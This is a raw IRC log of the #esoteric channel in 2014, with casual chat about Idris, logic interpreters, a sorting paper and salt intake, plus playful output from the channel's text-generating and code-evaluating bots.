JOIN :#esoteric < 1394677678 128126 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394677863 478134 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :kmc: do you hate html yet? < 1394677867 322422 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394677869 379967 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394677873 345936 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1394677956 598498 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :shrug < 1394679556 906845 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :kmc: what do you think about Idris (if I haven't asked already)? < 1394680209 611018 :tertu!~quassel@143.44.65.14 QUIT :Quit: No Ping reply in 180 seconds. < 1394680210 402457 :tertu_!~quassel@143.44.65.14 JOIN :#esoteric < 1394680388 339072 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394680924 451215 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sounds cool, haven't had time to learn it < 1394680941 525247 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :if I learn a new language for fun in the near future, it'd probably be Idris < 1394681028 41132 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 JOIN :#esoteric < 1394681054 69468 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 PRIVMSG #esoteric :Lukasiewicz Logic Interpreter in PS. https://gist.github.com/luser-dr00g/9519896 < 1394681097 83131 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394681139 426291 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 PRIVMSG #esoteric :Lukasiewicz appears to be the "root" of all algebraic computation on computers. < 1394681265 11096 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you know, many plants in fact have multiple roots < 1394681428 427136 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 PRIVMSG #esoteric :Hm. you're right. Banyan trees, for one. < 1394681466 465385 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 PRIVMSG #esoteric :the 1962 APL book describes multiply-rooted tree also. < 1394681625 587797 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :by the way, new sort algorithm! has applications to security or some shit http://arxiv.org/abs/1403.2777 < 1394681978 718661 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 PRIVMSG #esoteric :I'm reading nearby http://arxiv.org/pdf/1309.7584.pdf < 1394682369 935612 :sebbu!~sebbu@ADijon-152-1-42-203.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1394682405 759663 :sebbu!~sebbu@ADijon-152-1-42-203.w83-194.abo.wanadoo.fr QUIT :Changing host < 1394682405 816268 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1394682675 165755 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394682710 387362 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394682913 903859 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 QUIT :Ping timeout: 245 seconds < 1394682979 374710 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1394683457 701892 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 JOIN :#esoteric < 1394683558 842735 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Trying to figure out if I need to be too concerned about salt intake < 1394683565 912536 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Different groups disagree < 1394683568 955065 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION sighs < 1394683599 565660 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :At least I'm pretty sure with, e.g. gluten, that there's no actual concern for people who don't specifically have gluten issues < 1394683602 801961 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i haven't seen these groups and i have no serious reason to believe they're disagreeing. ount me in on the agreement side < 1394683668 506419 :CADD_!uid21876@gateway/web/irccloud.com/x-edgrwodqtazhffel JOIN :#esoteric < 1394683676 331870 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric :Sgeo, i imagine there are quite a few things to worry about before salt < 1394683686 235453 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric :including gluten, which is almost always bad < 1394683697 162093 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :or what if it's a salt of radium? < 1394683708 110985 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike: http://healthland.time.com/2012/11/05/why-even-healthy-people-should-watch-their-salt-intake/ American Heart Association, US Department of Agriculture < 1394683715 530155 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it could happen, people < 1394683793 626653 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Sgeo: looks like both are recommending less salt. < 1394684362 2075 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 PRIVMSG #esoteric :Salt figures prominently in Lovecraft's resurrection stories. < 1394684401 243234 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394685148 395915 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Quit: leaving < 1394685898 152507 :nisstyre_!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394685923 149381 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 246 seconds < 1394687971 239078 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394688577 260137 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394688827 257074 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394689315 357617 :tertu_!~quassel@143.44.65.14 QUIT :Ping timeout: 264 seconds < 1394690460 651975 :atslash!~atslash@broadband-46-188-0-82.2com.net JOIN :#esoteric < 1394690479 864754 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394691089 368990 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 240 seconds < 1394691939 55126 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394691975 153991 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Client Quit < 1394692116 397490 :lexande!arapp@terpsichore.ugcs.caltech.edu JOIN :#esoteric < 1394693081 363947 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394693182 360703 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394693406 971369 :Slereahphone!~slereahph@80.10.159.144 QUIT :Remote host closed the connection < 1394693518 59010 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394695257 924731 :FreeFull!~freefull@defocus/sausage-lover QUIT : < 1394695772 150980 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 246 seconds < 1394696927 395875 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394697135 243625 :Slereahphone!~slereahph@80.10.159.144 QUIT :Remote host closed the connection < 1394697195 375377 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394698273 302261 :nisstyre_!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 240 seconds < 1394698655 284288 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1394698674 526101 :Sellyme!~Sellyme@2605:4d00:0:2::7a JOIN :#esoteric < 1394699217 579913 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1394699271 734198 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394700255 202004 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394700457 327896 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394700755 868157 :Qwerty20140313!~ff@82.162.180.31 JOIN :#esoteric < 1394700920 46299 :Qwerty20140313!~ff@82.162.180.31 PART :#esoteric < 1394701591 129421 :MoALTz!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394702202 401852 :password2!~password@197.78.164.215 JOIN :#esoteric < 1394702521 74553 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394703792 579325 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :So instead of journals telling us about cool new algorithms, we now have irc (peer review sold separately) < 1394704104 433510 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1394704618 157070 :Froo!~Frooxius@cust-101.ktknet.cz QUIT :Quit: *bubbles away* < 1394704633 185329 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394704836 467882 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :the world would be a much better place if peer review was sold separately < 1394704847 596805 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :imo < 1394704980 79998 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :sold? < 1394704998 924763 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :as in, you buy a journal and pay extra for it to be peer reviewed < 1394705169 483311 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i hear the new thing is post-publication review, anyway < 1394705341 816190 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :At the moment, peer reviewers pay for peer review. < 1394705421 106376 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394705491 833216 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@massages-loud < 1394705491 935893 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1394705512 922738 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Huh, I received an email which, according to the headers, was sent 12 hours ago. < 1394705836 860413 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :perfectly normal. that just means you are from yesterday. < 1394705968 283459 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@localtime Jafet < 1394706075 759095 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@cloacaltime < 1394706201 963635 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :... < 1394706225 498219 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I think it's prime time to dust my mapole. haven't had a good occasion to use it lately... < 1394706253 704288 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION makes a few practice swings, then *THWACKS* Jafet happily ^^ < 1394706423 201377 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :When you mapole someone hard enough, they ooze mapole syrup. < 1394706979 507257 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Bike: “Using this construction results in a running time for Zig-zag Sort of 19600 n log n, in terms of compare-exchange operations.” < 1394707209 344225 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Expander graphs aer cool, they hide in big-O and doesn't afraid of anything < 1394707341 643517 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: stop contaminating people. Jafet sounds like you. < 1394707341 749430 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: holy water by boiling the hell out of spain. one of a breakthrough. somehow the killing of the gods, by terry pratchett) < 1394707359 712787 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oh, so that's how they make holy water! < 1394707411 992813 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`` echo 'Holy water is water made by boiling the hell out of Spain.' >wisdom/'holy water' < 1394707414 160538 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394707437 544436 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :`cat bin/\` < 1394707438 248217 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cat: bin/\`: No such file or directory < 1394707440 952986 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :`cat bin/` < 1394707441 593660 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :exec bash -c "$1" < 1394707517 115690 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :That is a disingenuous slight on fungot. I don't even know any transcripts from European parliament sessions. < 1394707517 222289 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: they say that a black sheep has 3 bags full of holes; with the monster was responsible for endless tragedies of all the gods get angry if you can be tamed with carrots? salmon gets thinner at both ends." ( macbeth, by patrick mcgoohan) < 1394707579 494213 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: does calamari get squigglier at both ends? < 1394707579 586155 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :hmm, salmon does get thinner at both ends < 1394707579 642147 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: they say that a wand in a bag. ( bulfinch's mythology, by the roadside for ninety-nine years and a rock mole: a japanese stabbing knife. < 1394707680 784725 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fungot: cuttlefish then? < 1394707680 892385 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: they say that a hacker who ate too fast and choked to death: the oxford english dictionary is quite sure which. and the lower world to hades. poseidon is associated in many places, not knowing who he was, plays an important part in the fires of hell and many more names besides. ( the fellowship of the ring, by w.b. yeats) < 1394707711 324861 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^style < 1394707711 380951 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack* oots pa qwantz sms speeches ss wp youtube < 1394707716 339708 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :nethack??? < 1394707724 211141 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1394707729 608062 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~metar CYUL < 1394707730 265454 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :CYUL 131030Z 34012G18KT 3SM -SN DRSN VV015 M14/M17 A2963 RMK SN8 SLP035 < 1394707750 556103 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :^style enron < 1394707750 665145 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: enron (subset of the Enron email dataset) < 1394707762 845490 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Now fungot can get down to business. < 1394707763 310136 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: of the going rate schedule) was a better and i were them) 6-1 and looking to get on the stack of mail will be best to wait. rep. other rate changes capping the market. < 1394707808 488396 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Two parentheses now into the OUT tray. Marvellous efficiency. < 1394707926 949341 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :two unbalanced parentheses, you mean. fungot doesn't believe in protection of the environment. < 1394707927 165055 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: best of all, the capacity..... .a bunch of construction within the central and eastern gas regions will be for the physical for physical and power physical to a more complete on that). < 1394707985 602296 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fungot: bzzt, even more wrong parentheses... get a grip < 1394707985 867763 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: let me know of any of the ect legal dept of commerce for lehman and enron < 1394708066 633089 :w00tles!~w00tles@192.38.10.2 JOIN :#esoteric < 1394708080 445232 :w00tles!~w00tles@192.38.10.2 QUIT :Remote host closed the connection < 1394708124 810082 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :the stuff you learn about bananas → http://www.symmetrymagazine.org/breaking/2009/07/23/antimatter-from-bananas < 1394708350 15186 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :https://en.wikipedia.org/wiki/Banana_equivalent_dose < 1394708707 268972 :boily!~boily@96.127.201.149 QUIT :Quit: YELLOW CURVED CHICKEN < 1394708711 321951 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1394709314 400936 :MoALTz_!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394709485 69599 :MoALTz!~no@user-46-113-90-183.play-internet.pl QUIT :Ping timeout: 246 seconds < 1394709755 195446 :Slereahphone!~slereahph@80.10.159.144 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394709794 16063 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394710262 142212 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 246 seconds < 1394710400 598879 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :^style oots < 1394710400 711510 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: oots (Order Of The Stick) < 1394710407 587763 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :hi fungot < 1394710407 694721 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :FireFly: would i be carrying our monthly" says that's what my dad and i sneak by any monsters and a whole lot of us who would be surprised what people will believe when they've all sucked" was, in that case, i will begin tracking them now by " age old" she means, " after i die". < 1394710445 834547 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Hm, the oots wordset seems subpar for fungot responses < 1394710445 941517 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :FireFly: there, that ought to be good. and it was wrong, so no, that is my position, and then, i blacked out. when the big worm showed me, and they've all sucked" was, in my opinion. < 1394710663 280083 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Possibly the paramaters have been suboptimal. < 1394712177 257467 :Slereahphone!~slereahph@80.10.159.144 QUIT :Remote host closed the connection < 1394712198 223388 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394712273 809338 :MoALTz__!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394712299 957190 :Slereahphone!~slereahph@80.10.159.144 QUIT :Remote host closed the connection < 1394712481 226301 :MoALTz_!~no@user-46-113-90-183.play-internet.pl QUIT :Ping timeout: 240 seconds < 1394712727 387390 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394713340 231621 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394713771 179772 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394713787 275063 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1394714178 763324 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : or what if it's a salt of radium? <-- oh come on, who would be putin radioactive elements in food < 1394714334 260981 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394714704 334950 :Slereahphone!~slereahph@80.10.159.144 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394714819 205693 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394715108 156622 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394715331 583985 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394715368 569850 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394715632 248309 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 241 seconds < 1394715769 283244 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Ping timeout: 240 seconds < 1394716101 209840 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1394716110 433774 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :did google just start using a terrible font for their search results < 1394716134 515770 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if website font selection were client-side, we wouldn't have this problem! < 1394716156 997090 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :oerjan: yes, I think so < 1394716242 942574 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :okay < 1394717052 212103 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok darths & droids, i didn't see _this_ coming. < 1394717122 721146 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"font-family: arial, sans-serif;" < 1394717134 619387 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Some pages seem to indicate they've merely changed font sizes. < 1394717141 789320 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And removed link underlining and such. < 1394717365 986301 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :admittedly, that _is_ par for the course in d&d. < 1394717675 147288 :password2!~password@197.78.164.215 QUIT :Ping timeout: 246 seconds < 1394717750 521203 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's just that somehow the new google style makes it take longer for me to see what i want in the search results... < 1394717770 243518 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's probably just that your old-man eyes aren't any good for the modern webs. < 1394717779 14675 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hopefully this will pass. < 1394717815 853124 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: well, that too. < 1394717815 959907 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :/. "Physicist Proposes a New Type of Computing" sounds Wolframesque. < 1394717869 872872 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1394717881 97321 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that reminds me of that tao navier-stokes thing, but he's a mathematician. < 1394717909 471385 :nycs!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com NICK :`^_^v < 1394717954 788769 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394718041 473286 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :today's darths & droids also has a nice conduit table < 1394718128 617767 :MoALTz__!~no@user-46-113-90-183.play-internet.pl QUIT :Quit: Leaving < 1394718427 531796 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394718599 890471 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394719159 379314 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Ping timeout: 264 seconds < 1394719749 195023 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394719995 841555 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394720388 361228 :trout!root@freebsd/developer/variable QUIT :Read error: Operation timed out < 1394720555 884726 :variable!root@freebsd/developer/variable JOIN :#esoteric < 1394720668 304871 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> (sin ∘ cos) 1 < 1394720668 561958 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:6: error: expected: "$", < 1394720668 674525 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394720668 732209 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394720668 732379 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394720668 732476 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394720669 417725 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `∘' < 1394720805 382381 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1394720883 379836 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394720904 559490 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I like that "let's list all possible operators" error. < 1394720977 481543 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :TIL stackoverflow doesn't allow you to simply correct a syntax error: edits must be at least six characters. < 1394721175 480485 :iamcal____!sid1110@gateway/web/irccloud.com/x-ccdncjukahnpvngk QUIT :Quit: Connection closed for inactivity < 1394721225 86235 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, we have two bots on the same prefix? < 1394721226 620177 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> 2 < 1394721226 941452 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :042 : 12Integer < 1394721227 618435 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 2 < 1394721242 278465 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :anyone know any good Idris/Haskell polyglots? < 1394721261 386165 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: haha, that's probably an attempt to stop people farming edits for karma or something < 1394721268 813516 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :does it let you edit it twice as a workaround? < 1394721342 110388 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :I haven't looked at Idris in a while, thanks for reminding me < 1394721415 220072 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: i don't know, but my edit needs to be approved anyhow (and with the snark i ended up adding to make it go through, might not even be >:) ) < 1394721446 853194 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't know Idris at all, but I vaguely remember it's functional < 1394721459 50303 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ais523: Incidentally, in case you haven't noticed, idris-ircslave replies are also full of color. < 1394721466 108206 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I haven't noticed < 1394721480 491134 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :nor could I, without opening up the raw view window or using a different client < 1394721487 178762 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or, I guess, turning color back on < 1394721488 283474 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's a red "2" and a blue "Integer" there. < 1394721534 924233 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> "Hello, world!" < 1394721535 353282 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04"Hello, world!" : 12String < 1394721536 71256 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "Hello, world!" < 1394721540 444163 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess that works < 1394721543 308998 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :not very interesting though < 1394721587 930732 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Something that does two different but reasonable things would be nicer. < 1394721635 537596 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, Idris has very Haskell-like syntax, apparently < 1394721686 560463 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so trying to cause the programs to be implemented differently will be hard < 1394721743 27732 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :err, evaluated differently < 1394721767 332806 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Idris is strict and Haskell is lazy, but that's hard to observe in the absence of side effects < 1394721801 129568 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, well, it sounds rather like the C and C++ different-result polyglottery, where the devil is also in the details. < 1394721932 877925 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but I don't know any of the details of Idris, and very few of the details of Haskell < 1394721935 942228 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> "> " ++ show "Hello, world!" < 1394721936 942406 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "> \"Hello, world!\"" < 1394721938 765458 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04"> \"Hello, world!\"" : 12String < 1394721951 18216 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> text $ "> " ++ show "Hello, world!" < 1394721951 353221 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable text < 1394721952 128367 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : > "Hello, world!" < 1394721968 990597 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Jafet: heh, that'd be an amusing botloop if it worked < 1394721984 965432 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although lambdabot added a leading space, it's well aware of such tricks < 1394721997 21228 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> putStrLn "Hello, world!" < 1394721997 383695 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04MkIO (\13w => 